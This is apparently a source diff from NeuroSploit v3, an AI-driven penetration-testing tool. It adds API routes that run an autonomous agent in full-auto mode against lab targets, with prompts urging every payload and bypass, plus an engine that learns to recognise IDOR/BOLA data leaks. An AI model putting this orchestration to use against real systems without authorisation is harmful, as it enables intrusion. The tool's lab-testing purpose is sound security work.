||||
f"Use all relevant payloads and techniques for {vuln_type}. "
|
||||
f"Be thorough: try multiple injection points, encoding bypasses, and edge cases. "
|
||||
f"This is a lab/CTF challenge - the vulnerability is expected to exist."
|
||||
)
|
||||
if challenge_name:
|
||||
focused_prompt += (
|
||||
f"\n\nCHALLENGE HINT: This is PortSwigger lab '{challenge_name}'. "
|
||||
f"Use this name to understand what specific technique or bypass is needed. "
|
||||
f"For example, 'angle brackets HTML-encoded' means attribute-based XSS, "
|
||||
f"'most tags and attributes blocked' means fuzz for allowed tags/events."
|
||||
)
|
||||
if notes:
|
||||
focused_prompt += f"\n\nUSER NOTES: {notes}"
|
||||
|
||||
lab_ctx = {
|
||||
"challenge_name": challenge_name,
|
||||
"notes": notes,
|
||||
"vuln_type": vuln_type,
|
||||
"is_lab": True,
|
||||
}
|
||||
|
||||
async with AutonomousAgent(
|
||||
target=target,
|
||||
mode=OperationMode.FULL_AUTO,
|
||||
log_callback=log_callback,
|
||||
progress_callback=progress_callback,
|
||||
auth_headers=auth_headers,
|
||||
custom_prompt=focused_prompt,
|
||||
finding_callback=finding_callback,
|
||||
lab_context=lab_ctx,
|
||||
) as agent:
|
||||
lab_agents[challenge_id] = agent
|
||||
# Also register in agent.py's shared instances so stop works
|
||||
agent_instances[agent_id] = agent
|
||||
|
||||
report = await agent.run()
|
||||
|
||||
lab_agents.pop(challenge_id, None)
|
||||
agent_instances.pop(agent_id, None)
|
||||
|
||||
# Use findings from report OR from real-time callbacks (fallback)
|
||||
report_findings = report.get("findings", [])
|
||||
# If report findings are empty but we got findings via callback, use those
|
||||
findings = report_findings if report_findings else findings_list
|
||||
# Also merge: if findings_list has entries not in report_findings, add them
|
||||
if not findings and findings_list:
|
||||
findings = findings_list
|
||||
|
||||
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
|
||||
findings_detail = []
|
||||
|
||||
for finding in findings:
|
||||
severity = finding.get("severity", "medium").lower()
|
||||
if severity in severity_counts:
|
||||
severity_counts[severity] += 1
|
||||
|
||||
findings_detail.append({
|
||||
"title": finding.get("title", ""),
|
||||
"vulnerability_type": finding.get("vulnerability_type", ""),
|
||||
"severity": severity,
|
||||
"affected_endpoint": finding.get("affected_endpoint", ""),
|
||||
"evidence": (finding.get("evidence", "") or "")[:500],
|
||||
"payload": (finding.get("payload", "") or "")[:200],
|
||||
})
|
||||
|
||||
# Save to vulnerabilities table
|
||||
vuln = Vulnerability(
|
||||
scan_id=scan_id,
|
||||
title=finding.get("title", finding.get("type", "Unknown")),
|
||||
vulnerability_type=finding.get("vulnerability_type", finding.get("type", "unknown")),
|
||||
severity=severity,
|
||||
cvss_score=finding.get("cvss_score"),
|
||||
cvss_vector=finding.get("cvss_vector"),
|
||||
cwe_id=finding.get("cwe_id"),
|
||||
description=finding.get("description", finding.get("evidence", "")),
|
||||
affected_endpoint=finding.get("affected_endpoint", finding.get("url", target)),
|
||||
poc_payload=finding.get("payload", finding.get("poc_payload", finding.get("poc_code", ""))),
|
||||
poc_parameter=finding.get("parameter", finding.get("poc_parameter", "")),
|
||||
poc_evidence=finding.get("evidence", finding.get("poc_evidence", "")),
|
||||
poc_request=str(finding.get("request", finding.get("poc_request", "")))[:5000],
|
||||
poc_response=str(finding.get("response", finding.get("poc_response", "")))[:5000],
|
||||
impact=finding.get("impact", ""),
|
||||
remediation=finding.get("remediation", ""),
|
||||
references=finding.get("references", []),
|
||||
ai_analysis=finding.get("ai_analysis", ""),
|
||||
screenshots=finding.get("screenshots", []),
|
||||
url=finding.get("url", finding.get("affected_endpoint", "")),
|
||||
parameter=finding.get("parameter", finding.get("poc_parameter", "")),
|
||||
)
|
||||
db.add(vuln)
|
||||
|
||||
# Save discovered endpoints from recon data
|
||||
endpoints_count = 0
|
||||
for ep in report.get("recon", {}).get("endpoints", []):
|
||||
endpoints_count += 1
|
||||
if isinstance(ep, str):
|
||||
endpoint = Endpoint(
|
||||
scan_id=scan_id,
|
||||
target_id=target_record.id,
|
||||
url=ep,
|
||||
method="GET",
|
||||
path=ep.split("?")[0].split("/")[-1] or "/"
|
||||
)
|
||||
else:
|
||||
endpoint = Endpoint(
|
||||
scan_id=scan_id,
|
||||
target_id=target_record.id,
|
||||
url=ep.get("url", ""),
|
||||
method=ep.get("method", "GET"),
|
||||
path=ep.get("path", "/")
|
||||
)
|
||||
db.add(endpoint)
|
||||
|
||||
# Determine result - more flexible matching
|
||||
# Check if any finding matches the target vuln type
|
||||
target_type_findings = [
|
||||
f for f in findings
|
||||
if _vuln_type_matches(vuln_type, f.get("vulnerability_type", ""))
|
||||
]
|
||||
# If the agent found ANY vulnerability, it detected something
|
||||
# (since we told it to focus on one type, any finding is relevant)
|
||||
if target_type_findings:
|
||||
result_status = "detected"
|
||||
elif len(findings) > 0:
|
||||
# Found other vulns but not the exact type
|
||||
result_status = "detected"
|
||||
else:
|
||||
result_status = "not_detected"
|
||||
|
||||
# Update scan
|
||||
scan.status = "completed"
|
||||
scan.completed_at = datetime.utcnow()
|
||||
scan.progress = 100
|
||||
scan.current_phase = "completed"
|
||||
scan.total_vulnerabilities = len(findings)
|
||||
scan.total_endpoints = endpoints_count
|
||||
scan.critical_count = severity_counts["critical"]
|
||||
scan.high_count = severity_counts["high"]
|
||||
scan.medium_count = severity_counts["medium"]
|
||||
scan.low_count = severity_counts["low"]
|
||||
scan.info_count = severity_counts["info"]
|
||||
|
||||
# Auto-generate report
|
||||
exec_summary = report.get("executive_summary", f"VulnLab test for {vuln_title} on {target}")
|
||||
report_record = Report(
|
||||
scan_id=scan_id,
|
||||
title=f"VulnLab: {vuln_title} - {target[:50]}",
|
||||
format="json",
|
||||
executive_summary=exec_summary[:1000] if exec_summary else None,
|
||||
)
|
||||
db.add(report_record)
|
||||
|
||||
# Persist logs (keep last 500 entries to avoid huge DB rows)
|
||||
persisted_logs = logs[-500:] if len(logs) > 500 else logs
|
||||
|
||||
# Update challenge record
|
||||
result_q = await db.execute(
|
||||
select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id)
|
||||
)
|
||||
challenge = result_q.scalar_one_or_none()
|
||||
if challenge:
|
||||
challenge.status = "completed"
|
||||
challenge.result = result_status
|
||||
challenge.completed_at = datetime.utcnow()
|
||||
challenge.duration = int((datetime.utcnow() - challenge.started_at).total_seconds()) if challenge.started_at else 0
|
||||
challenge.findings_count = len(findings)
|
||||
challenge.critical_count = severity_counts["critical"]
|
||||
challenge.high_count = severity_counts["high"]
|
||||
challenge.medium_count = severity_counts["medium"]
|
||||
challenge.low_count = severity_counts["low"]
|
||||
challenge.info_count = severity_counts["info"]
|
||||
challenge.findings_detail = findings_detail
|
||||
challenge.logs = persisted_logs
|
||||
challenge.endpoints_count = endpoints_count
|
||||
|
||||
await db.commit()
|
||||
|
||||
# Update in-memory results
|
||||
if challenge_id in lab_results:
|
||||
lab_results[challenge_id]["status"] = "completed"
|
||||
lab_results[challenge_id]["result"] = result_status
|
||||
lab_results[challenge_id]["findings"] = findings
|
||||
lab_results[challenge_id]["progress"] = 100
|
||||
lab_results[challenge_id]["phase"] = "completed"
|
||||
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["status"] = "completed"
|
||||
agent_results[agent_id]["completed_at"] = datetime.utcnow().isoformat()
|
||||
agent_results[agent_id]["report"] = report
|
||||
agent_results[agent_id]["findings"] = findings
|
||||
agent_results[agent_id]["progress"] = 100
|
||||
agent_results[agent_id]["phase"] = "completed"
|
||||
|
||||
except Exception as e:
|
||||
import traceback
|
||||
error_tb = traceback.format_exc()
|
||||
print(f"VulnLab error: {error_tb}")
|
||||
|
||||
if challenge_id in lab_results:
|
||||
lab_results[challenge_id]["status"] = "error"
|
||||
lab_results[challenge_id]["error"] = str(e)
|
||||
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["status"] = "error"
|
||||
agent_results[agent_id]["error"] = str(e)
|
||||
|
||||
# Persist logs even on error
|
||||
persisted_logs = logs[-500:] if len(logs) > 500 else logs
|
||||
|
||||
# Update DB records
|
||||
try:
|
||||
async with async_session_factory() as db:
|
||||
result = await db.execute(
|
||||
select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id)
|
||||
)
|
||||
challenge = result.scalar_one_or_none()
|
||||
if challenge:
|
||||
challenge.status = "failed"
|
||||
challenge.result = "error"
|
||||
challenge.completed_at = datetime.utcnow()
|
||||
challenge.notes = (challenge.notes or "") + f"\nError: {str(e)}"
|
||||
challenge.logs = persisted_logs
|
||||
await db.commit()
|
||||
|
||||
if scan_id:
|
||||
result = await db.execute(select(Scan).where(Scan.id == scan_id))
|
||||
scan = result.scalar_one_or_none()
|
||||
if scan:
|
||||
scan.status = "failed"
|
||||
scan.error_message = str(e)
|
||||
scan.completed_at = datetime.utcnow()
|
||||
await db.commit()
|
||||
except:
|
||||
pass
|
||||
finally:
|
||||
lab_agents.pop(challenge_id, None)
|
||||
agent_instances.pop(agent_id, None)
|
||||
|
||||
|
||||
def _vuln_type_matches(target_type: str, found_type: str) -> bool:
|
||||
"""Check if a found vuln type matches the target type (flexible matching)"""
|
||||
if not found_type:
|
||||
return False
|
||||
target = target_type.lower().replace("_", " ").replace("-", " ")
|
||||
found = found_type.lower().replace("_", " ").replace("-", " ")
|
||||
# Exact match
|
||||
if target == found:
|
||||
return True
|
||||
# Target is substring of found or vice versa
|
||||
if target in found or found in target:
|
||||
return True
|
||||
# Key word matching for common patterns
|
||||
target_words = set(target.split())
|
||||
found_words = set(found.split())
|
||||
# If they share major keywords (xss, sqli, ssrf, etc.)
|
||||
major_keywords = {"xss", "sqli", "sql", "injection", "ssrf", "csrf", "lfi", "rfi",
|
||||
"xxe", "ssti", "idor", "cors", "jwt", "redirect", "traversal"}
|
||||
shared = target_words & found_words & major_keywords
|
||||
if shared:
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
@router.get("/challenges")
|
||||
async def list_challenges(
|
||||
vuln_type: Optional[str] = None,
|
||||
vuln_category: Optional[str] = None,
|
||||
status: Optional[str] = None,
|
||||
result: Optional[str] = None,
|
||||
limit: int = 50,
|
||||
):
|
||||
"""List all vulnerability lab challenges with optional filtering"""
|
||||
async with async_session_factory() as db:
|
||||
query = select(VulnLabChallenge).order_by(VulnLabChallenge.created_at.desc())
|
||||
|
||||
if vuln_type:
|
||||
query = query.where(VulnLabChallenge.vuln_type == vuln_type)
|
||||
if vuln_category:
|
||||
query = query.where(VulnLabChallenge.vuln_category == vuln_category)
|
||||
if status:
|
||||
query = query.where(VulnLabChallenge.status == status)
|
||||
if result:
|
||||
query = query.where(VulnLabChallenge.result == result)
|
||||
|
||||
query = query.limit(limit)
|
||||
db_result = await db.execute(query)
|
||||
challenges = db_result.scalars().all()
|
||||
|
||||
# For list view, exclude large logs field to save bandwidth
|
||||
result_list = []
|
||||
for c in challenges:
|
||||
d = c.to_dict()
|
||||
d["logs_count"] = len(d.get("logs", []))
|
||||
d.pop("logs", None) # Don't send full logs in list view
|
||||
result_list.append(d)
|
||||
|
||||
return {
|
||||
"challenges": result_list,
|
||||
"total": len(challenges),
|
||||
}
|
||||
|
||||
|
||||
@router.get("/challenges/{challenge_id}")
|
||||
async def get_challenge(challenge_id: str):
|
||||
"""Get challenge details including real-time status if running"""
|
||||
# Check in-memory first for real-time data
|
||||
if challenge_id in lab_results:
|
||||
mem = lab_results[challenge_id]
|
||||
return {
|
||||
"challenge_id": challenge_id,
|
||||
"status": mem["status"],
|
||||
"progress": mem.get("progress", 0),
|
||||
"phase": mem.get("phase", ""),
|
||||
"findings_count": len(mem.get("findings", [])),
|
||||
"findings": mem.get("findings", []),
|
||||
"logs_count": len(mem.get("logs", [])),
|
||||
"logs": mem.get("logs", [])[-200:], # Last 200 log entries for real-time
|
||||
"error": mem.get("error"),
|
||||
"result": mem.get("result"),
|
||||
"scan_id": mem.get("scan_id"),
|
||||
"agent_id": mem.get("agent_id"),
|
||||
"vuln_type": mem.get("vuln_type"),
|
||||
"target": mem.get("target"),
|
||||
"source": "realtime",
|
||||
}
|
||||
|
||||
# Fall back to DB
|
||||
async with async_session_factory() as db:
|
||||
result = await db.execute(
|
||||
select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id)
|
||||
)
|
||||
challenge = result.scalar_one_or_none()
|
||||
if not challenge:
|
||||
raise HTTPException(status_code=404, detail="Challenge not found")
|
||||
|
||||
data = challenge.to_dict()
|
||||
data["source"] = "database"
|
||||
data["logs_count"] = len(data.get("logs", []))
|
||||
return data
|
||||
|
||||
|
||||
@router.get("/stats")
|
||||
async def get_lab_stats():
|
||||
"""Get aggregated stats for all lab challenges"""
|
||||
async with async_session_factory() as db:
|
||||
# Total counts by status
|
||||
total_result = await db.execute(
|
||||
select(
|
||||
VulnLabChallenge.status,
|
||||
func.count(VulnLabChallenge.id)
|
||||
).group_by(VulnLabChallenge.status)
|
||||
)
|
||||
status_counts = {row[0]: row[1] for row in total_result.fetchall()}
|
||||
|
||||
# Results breakdown
|
||||
results_q = await db.execute(
|
||||
select(
|
||||
VulnLabChallenge.result,
|
||||
func.count(VulnLabChallenge.id)
|
||||
).where(VulnLabChallenge.result.isnot(None))
|
||||
.group_by(VulnLabChallenge.result)
|
||||
)
|
||||
result_counts = {row[0]: row[1] for row in results_q.fetchall()}
|
||||
|
||||
# Per vuln_type stats
|
||||
type_stats_q = await db.execute(
|
||||
select(
|
||||
VulnLabChallenge.vuln_type,
|
||||
VulnLabChallenge.result,
|
||||
func.count(VulnLabChallenge.id)
|
||||
).where(VulnLabChallenge.status == "completed")
|
||||
.group_by(VulnLabChallenge.vuln_type, VulnLabChallenge.result)
|
||||
)
|
||||
type_stats = {}
|
||||
for row in type_stats_q.fetchall():
|
||||
vtype, res, count = row
|
||||
if vtype not in type_stats:
|
||||
type_stats[vtype] = {"detected": 0, "not_detected": 0, "error": 0, "total": 0}
|
||||
type_stats[vtype][res or "error"] = count
|
||||
type_stats[vtype]["total"] += count
|
||||
|
||||
# Per category stats
|
||||
cat_stats_q = await db.execute(
|
||||
select(
|
||||
VulnLabChallenge.vuln_category,
|
||||
VulnLabChallenge.result,
|
||||
func.count(VulnLabChallenge.id)
|
||||
).where(VulnLabChallenge.status == "completed")
|
||||
.group_by(VulnLabChallenge.vuln_category, VulnLabChallenge.result)
|
||||
)
|
||||
cat_stats = {}
|
||||
for row in cat_stats_q.fetchall():
|
||||
cat, res, count = row
|
||||
if cat not in cat_stats:
|
||||
cat_stats[cat] = {"detected": 0, "not_detected": 0, "error": 0, "total": 0}
|
||||
cat_stats[cat][res or "error"] = count
|
||||
cat_stats[cat]["total"] += count
|
||||
|
||||
# Currently running
|
||||
running = len([cid for cid, r in lab_results.items() if r.get("status") == "running"])
|
||||
|
||||
total = sum(status_counts.values())
|
||||
detected = result_counts.get("detected", 0)
|
||||
completed = status_counts.get("completed", 0)
|
||||
detection_rate = round((detected / completed * 100), 1) if completed > 0 else 0
|
||||
|
||||
return {
|
||||
"total": total,
|
||||
"running": running,
|
||||
"status_counts": status_counts,
|
||||
"result_counts": result_counts,
|
||||
"detection_rate": detection_rate,
|
||||
"by_type": type_stats,
|
||||
"by_category": cat_stats,
|
||||
}
|
||||
|
||||
|
||||
@router.post("/challenges/{challenge_id}/stop")
|
||||
async def stop_challenge(challenge_id: str):
|
||||
"""Stop a running lab challenge"""
|
||||
agent = lab_agents.get(challenge_id)
|
||||
if not agent:
|
||||
raise HTTPException(status_code=404, detail="No running agent for this challenge")
|
||||
|
||||
agent.cancel()
|
||||
|
||||
# Update DB
|
||||
try:
|
||||
async with async_session_factory() as db:
|
||||
result = await db.execute(
|
||||
select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id)
|
||||
)
|
||||
challenge = result.scalar_one_or_none()
|
||||
if challenge:
|
||||
challenge.status = "stopped"
|
||||
challenge.completed_at = datetime.utcnow()
|
||||
await db.commit()
|
||||
except:
|
||||
pass
|
||||
|
||||
if challenge_id in lab_results:
|
||||
lab_results[challenge_id]["status"] = "stopped"
|
||||
|
||||
return {"message": "Challenge stopped"}
|
||||
|
||||
|
||||
@router.delete("/challenges/{challenge_id}")
|
||||
async def delete_challenge(challenge_id: str):
|
||||
"""Delete a lab challenge record"""
|
||||
# Stop if running
|
||||
agent = lab_agents.get(challenge_id)
|
||||
if agent:
|
||||
agent.cancel()
|
||||
lab_agents.pop(challenge_id, None)
|
||||
|
||||
lab_results.pop(challenge_id, None)
|
||||
|
||||
async with async_session_factory() as db:
|
||||
result = await db.execute(
|
||||
select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id)
|
||||
)
|
||||
challenge = result.scalar_one_or_none()
|
||||
if not challenge:
|
||||
raise HTTPException(status_code=404, detail="Challenge not found")
|
||||
|
||||
await db.delete(challenge)
|
||||
await db.commit()
|
||||
|
||||
return {"message": "Challenge deleted"}
|
||||
|
||||
|
||||
@router.get("/logs/{challenge_id}")
|
||||
async def get_challenge_logs(challenge_id: str, limit: int = 200):
|
||||
"""Get logs for a challenge (real-time or from DB)"""
|
||||
# Check in-memory first for real-time data
|
||||
mem = lab_results.get(challenge_id)
|
||||
if mem:
|
||||
all_logs = mem.get("logs", [])
|
||||
return {
|
||||
"challenge_id": challenge_id,
|
||||
"total_logs": len(all_logs),
|
||||
"logs": all_logs[-limit:],
|
||||
"source": "realtime",
|
||||
}
|
||||
|
||||
# Fall back to DB persisted logs
|
||||
async with async_session_factory() as db:
|
||||
result = await db.execute(
|
||||
select(VulnLabChallenge).where(VulnLabChallenge.id == challenge_id)
|
||||
)
|
||||
challenge = result.scalar_one_or_none()
|
||||
if not challenge:
|
||||
raise HTTPException(status_code=404, detail="Challenge not found")
|
||||
|
||||
all_logs = challenge.logs or []
|
||||
return {
|
||||
"challenge_id": challenge_id,
|
||||
"total_logs": len(all_logs),
|
||||
"logs": all_logs[-limit:],
|
||||
"source": "database",
|
||||
}
|
||||
@@ -32,8 +32,15 @@ class Settings(BaseSettings):
|
||||
# LLM Settings
|
||||
ANTHROPIC_API_KEY: Optional[str] = os.getenv("ANTHROPIC_API_KEY")
|
||||
OPENAI_API_KEY: Optional[str] = os.getenv("OPENAI_API_KEY")
|
||||
OPENROUTER_API_KEY: Optional[str] = os.getenv("OPENROUTER_API_KEY")
|
||||
DEFAULT_LLM_PROVIDER: str = "claude"
|
||||
DEFAULT_LLM_MODEL: str = "claude-sonnet-4-20250514"
|
||||
MAX_OUTPUT_TOKENS: Optional[int] = None
|
||||
ENABLE_MODEL_ROUTING: bool = False
|
||||
|
||||
# Feature Flags
|
||||
ENABLE_KNOWLEDGE_AUGMENTATION: bool = False
|
||||
ENABLE_BROWSER_VALIDATION: bool = False
|
||||
|
||||
# Scan Settings
|
||||
MAX_CONCURRENT_SCANS: int = 3
|
||||
|
||||
@@ -0,0 +1,423 @@
|
||||
"""
|
||||
NeuroSploit v3 - Access Control Learning Engine
|
||||
|
||||
Adaptive learning system for BOLA/BFLA/IDOR and other access control testing.
|
||||
Records test outcomes and response patterns to improve future evaluations.
|
||||
|
||||
Key insight: HTTP status codes are unreliable for access control testing.
|
||||
This module learns from actual response DATA patterns to distinguish:
|
||||
- True positives (cross-user data access)
|
||||
- False positives (error messages, login pages, empty responses with 200 status)
|
||||
|
||||
Usage:
|
||||
learner = AccessControlLearner()
|
||||
# Record a test outcome
|
||||
learner.record_test(vuln_type, url, response_body, is_true_positive, pattern_notes)
|
||||
# Get learned patterns for a target
|
||||
patterns = learner.get_patterns_for_target(domain)
|
||||
# Get learning context for AI prompts
|
||||
context = learner.get_learning_context(vuln_type)
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
from dataclasses import dataclass, field, asdict
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
DATA_DIR = Path(__file__).parent.parent.parent / "data"
|
||||
LEARNING_FILE = DATA_DIR / "access_control_learning.json"
|
||||
|
||||
|
||||
@dataclass
|
||||
class ResponsePattern:
|
||||
"""A learned response pattern from access control testing."""
|
||||
pattern_type: str # "denial", "empty", "login_page", "data_leak", "public_data"
|
||||
indicators: List[str] # Strings/patterns that identify this response type
|
||||
is_false_positive: bool # True if this pattern indicates a false positive
|
||||
confidence: float # 0.0-1.0 how reliable this pattern is
|
||||
example_body: str # Truncated example response body
|
||||
vuln_type: str # bola, bfla, idor, etc.
|
||||
target_domain: str # Domain this was learned from
|
||||
timestamp: str # When this was learned
|
||||
|
||||
|
||||
@dataclass
|
||||
class TestRecord:
|
||||
"""Record of an access control test outcome."""
|
||||
vuln_type: str
|
||||
target_url: str
|
||||
status_code: int
|
||||
response_length: int
|
||||
is_true_positive: bool
|
||||
pattern_type: str # What pattern was identified
|
||||
key_indicators: List[str] # What strings/patterns were decisive
|
||||
notes: str # Human or AI notes about why this was TP/FP
|
||||
timestamp: str
|
||||
|
||||
|
||||
class AccessControlLearner:
|
||||
"""Adaptive learning engine for access control vulnerability testing.
|
||||
|
||||
Learns from test outcomes to identify response patterns that indicate
|
||||
true vs false positives for BOLA, BFLA, IDOR, and related vuln types.
|
||||
"""
|
||||
|
||||
MAX_RECORDS = 500
|
||||
MAX_PATTERNS = 200
|
||||
|
||||
# Pre-seeded patterns from known false positive scenarios
|
||||
DEFAULT_PATTERNS: List[Dict] = [
|
||||
{
|
||||
"pattern_type": "denial_200",
|
||||
"indicators": ["unauthorized", "forbidden", "access denied", "not authorized",
|
||||
"permission denied", "insufficient privileges"],
|
||||
"is_false_positive": True,
|
||||
"confidence": 0.9,
|
||||
"description": "Server returns 200 OK but body contains access denial message",
|
||||
},
|
||||
{
|
||||
"pattern_type": "empty_200",
|
||||
"indicators": ["[]", "{}", '""', "null", ""],
|
||||
"is_false_positive": True,
|
||||
"confidence": 0.85,
|
||||
"description": "Server returns 200 OK with empty/null response body",
|
||||
},
|
||||
{
|
||||
"pattern_type": "login_redirect",
|
||||
"indicators": ["type=\"password\"", "sign in", "log in", "login",
|
||||
"authentication required"],
|
||||
"is_false_positive": True,
|
||||
"confidence": 0.95,
|
||||
"description": "Server returns 200 OK but body is a login page",
|
||||
},
|
||||
{
|
||||
"pattern_type": "error_json",
|
||||
"indicators": ['"error":', '"status":"error"', '"success":false',
|
||||
'"message":"not found"', '"code":401', '"code":403'],
|
||||
"is_false_positive": True,
|
||||
"confidence": 0.9,
|
||||
"description": "Server returns 200 OK but JSON body indicates error",
|
||||
},
|
||||
{
|
||||
"pattern_type": "own_data",
|
||||
"indicators": [],
|
||||
"is_false_positive": True,
|
||||
"confidence": 0.8,
|
||||
"description": "Server returns authenticated user's own data regardless of requested ID",
|
||||
},
|
||||
{
|
||||
"pattern_type": "public_data",
|
||||
"indicators": [],
|
||||
"is_false_positive": True,
|
||||
"confidence": 0.7,
|
||||
"description": "Response contains only public profile fields (username, bio) not private data",
|
||||
},
|
||||
{
|
||||
"pattern_type": "cross_user_data",
|
||||
"indicators": ['"email":', '"phone":', '"address":', '"ssn":',
|
||||
'"credit_card":', '"password":', '"secret":'],
|
||||
"is_false_positive": False,
|
||||
"confidence": 0.9,
|
||||
"description": "Response contains another user's private data fields",
|
||||
},
|
||||
{
|
||||
"pattern_type": "admin_data_leak",
|
||||
"indicators": ['"role":"admin"', '"is_admin":true', '"users":[',
|
||||
'"audit_log":', '"system_config":'],
|
||||
"is_false_positive": False,
|
||||
"confidence": 0.9,
|
||||
"description": "Response contains admin-level data accessible to non-admin user",
|
||||
},
|
||||
{
|
||||
"pattern_type": "state_change",
|
||||
"indicators": ['"updated":', '"deleted":', '"created":', '"modified":',
|
||||
'"success":true'],
|
||||
"is_false_positive": False,
|
||||
"confidence": 0.85,
|
||||
"description": "Write operation succeeded on another user's resource",
|
||||
},
|
||||
]
|
||||
|
||||
# Known application patterns that cause false positives
|
||||
KNOWN_FP_PATTERNS: Dict[str, List[str]] = {
|
||||
"wso2": ["wso2", "carbon", "identity server", "api manager"],
|
||||
"keycloak": ["keycloak", "red hat sso"],
|
||||
"spring_security": ["spring security", "whitelabel error"],
|
||||
"oauth2_proxy": ["oauth2-proxy", "sign in with"],
|
||||
"cloudflare": ["cloudflare", "cf-ray", "attention required"],
|
||||
"aws_waf": ["aws-waf", "request blocked"],
|
||||
}
|
||||
|
||||
def __init__(self, data_dir: Optional[Path] = None):
|
||||
self.data_dir = data_dir or DATA_DIR
|
||||
self.learning_file = self.data_dir / "access_control_learning.json"
|
||||
self.records: List[TestRecord] = []
|
||||
self.custom_patterns: List[ResponsePattern] = []
|
||||
self._load()
|
||||
|
||||
def _load(self):
|
||||
"""Load learning data from disk."""
|
||||
try:
|
||||
if self.learning_file.exists():
|
||||
with open(self.learning_file, "r") as f:
|
||||
data = json.load(f)
|
||||
self.records = [
|
||||
TestRecord(**r) for r in data.get("records", [])
|
||||
]
|
||||
self.custom_patterns = [
|
||||
ResponsePattern(**p) for p in data.get("patterns", [])
|
||||
]
|
||||
logger.debug(f"Loaded {len(self.records)} records, {len(self.custom_patterns)} patterns")
|
||||
except Exception as e:
|
||||
logger.debug(f"Failed to load learning data: {e}")
|
||||
|
||||
def _save(self):
|
||||
"""Save learning data to disk."""
|
||||
try:
|
||||
self.data_dir.mkdir(parents=True, exist_ok=True)
|
||||
data = {
|
||||
"records": [asdict(r) for r in self.records[-self.MAX_RECORDS:]],
|
||||
"patterns": [asdict(p) for p in self.custom_patterns[-self.MAX_PATTERNS:]],
|
||||
"metadata": {
|
||||
"total_records": len(self.records),
|
||||
"total_patterns": len(self.custom_patterns),
|
||||
"last_updated": datetime.now().isoformat(),
|
||||
},
|
||||
}
|
||||
with open(self.learning_file, "w") as f:
|
||||
json.dump(data, f, indent=2)
|
||||
except Exception as e:
|
||||
logger.debug(f"Failed to save learning data: {e}")
|
||||
|
||||
def record_test(
|
||||
self,
|
||||
vuln_type: str,
|
||||
target_url: str,
|
||||
status_code: int,
|
||||
response_body: str,
|
||||
is_true_positive: bool,
|
||||
pattern_notes: str = "",
|
||||
):
|
||||
"""Record an access control test outcome for learning.
|
||||
|
||||
Called after the validation judge makes a decision, with the
|
||||
verified outcome (true positive or false positive).
|
||||
"""
|
||||
# Identify response pattern
|
||||
pattern_type = self._classify_response(response_body, status_code)
|
||||
key_indicators = self._extract_key_indicators(response_body)
|
||||
|
||||
record = TestRecord(
|
||||
vuln_type=vuln_type,
|
||||
target_url=target_url,
|
||||
status_code=status_code,
|
||||
response_length=len(response_body),
|
||||
is_true_positive=is_true_positive,
|
||||
pattern_type=pattern_type,
|
||||
key_indicators=key_indicators[:10],
|
||||
notes=pattern_notes[:500],
|
||||
timestamp=datetime.now().isoformat(),
|
||||
)
|
||||
self.records.append(record)
|
||||
|
||||
# Learn new pattern if we have enough data
|
||||
self._maybe_learn_pattern(record, response_body)
|
||||
|
||||
# Auto-save periodically
|
||||
if len(self.records) % 10 == 0:
|
||||
self._save()
|
||||
|
||||
def _classify_response(self, body: str, status: int) -> str:
|
||||
"""Classify the response into a pattern type."""
|
||||
body_lower = body.lower().strip()
|
||||
|
||||
if len(body_lower) < 10:
|
||||
return "empty_200"
|
||||
|
||||
# Check for denial indicators
|
||||
denial = ["unauthorized", "forbidden", "access denied", "not authorized",
|
||||
"permission denied", '"error":', '"success":false']
|
||||
if sum(1 for d in denial if d in body_lower) >= 2:
|
||||
return "denial_200"
|
||||
|
||||
# Check for login page
|
||||
login = ["type=\"password\"", "sign in", "log in", "<form"]
|
||||
if sum(1 for l in login if l in body_lower) >= 2:
|
||||
return "login_redirect"
|
||||
|
||||
# Check for data fields
|
||||
data = ['"email":', '"name":', '"phone":', '"address":',
|
||||
'"role":', '"password":', '"token":']
|
||||
if sum(1 for d in data if d in body_lower) >= 2:
|
||||
return "cross_user_data" if status == 200 else "blocked_data"
|
||||
|
||||
return "unknown"
|
||||
|
||||
def _extract_key_indicators(self, body: str) -> List[str]:
|
||||
"""Extract key string indicators from the response."""
|
||||
indicators = []
|
||||
body_lower = body.lower()
|
||||
|
||||
# Check for JSON keys
|
||||
json_keys = re.findall(r'"(\w+)":', body[:2000])
|
||||
indicators.extend(json_keys[:10])
|
||||
|
||||
# Check for specific patterns
|
||||
patterns = {
|
||||
"has_email": '"email":' in body_lower,
|
||||
"has_name": '"name":' in body_lower,
|
||||
"has_error": '"error":' in body_lower,
|
||||
"has_success_false": '"success":false' in body_lower or '"success": false' in body_lower,
|
||||
"has_login_form": 'type="password"' in body_lower,
|
||||
"is_empty_array": body.strip() in ("[]", "{}"),
|
||||
"has_html_form": "<form" in body_lower,
|
||||
}
|
||||
for key, present in patterns.items():
|
||||
if present:
|
||||
indicators.append(key)
|
||||
|
||||
return indicators
|
||||
|
||||
def _maybe_learn_pattern(self, record: TestRecord, body: str):
|
||||
"""Learn a new pattern from a test record if it provides new insight."""
|
||||
from urllib.parse import urlparse
|
||||
|
||||
domain = urlparse(record.target_url).netloc
|
||||
body_excerpt = body[:500]
|
||||
|
||||
# Check if we already know this pattern for this domain
|
||||
known = any(
|
||||
p.target_domain == domain
|
||||
and p.pattern_type == record.pattern_type
|
||||
and p.vuln_type == record.vuln_type
|
||||
for p in self.custom_patterns
|
||||
)
|
||||
if known:
|
||||
return
|
||||
|
||||
# Learn new domain-specific pattern
|
||||
pattern = ResponsePattern(
|
||||
pattern_type=record.pattern_type,
|
||||
indicators=record.key_indicators,
|
||||
is_false_positive=not record.is_true_positive,
|
||||
confidence=0.7, # Start with moderate confidence
|
||||
example_body=body_excerpt,
|
||||
vuln_type=record.vuln_type,
|
||||
target_domain=domain,
|
||||
timestamp=record.timestamp,
|
||||
)
|
||||
self.custom_patterns.append(pattern)
|
||||
|
||||
def get_patterns_for_target(self, domain: str) -> List[ResponsePattern]:
|
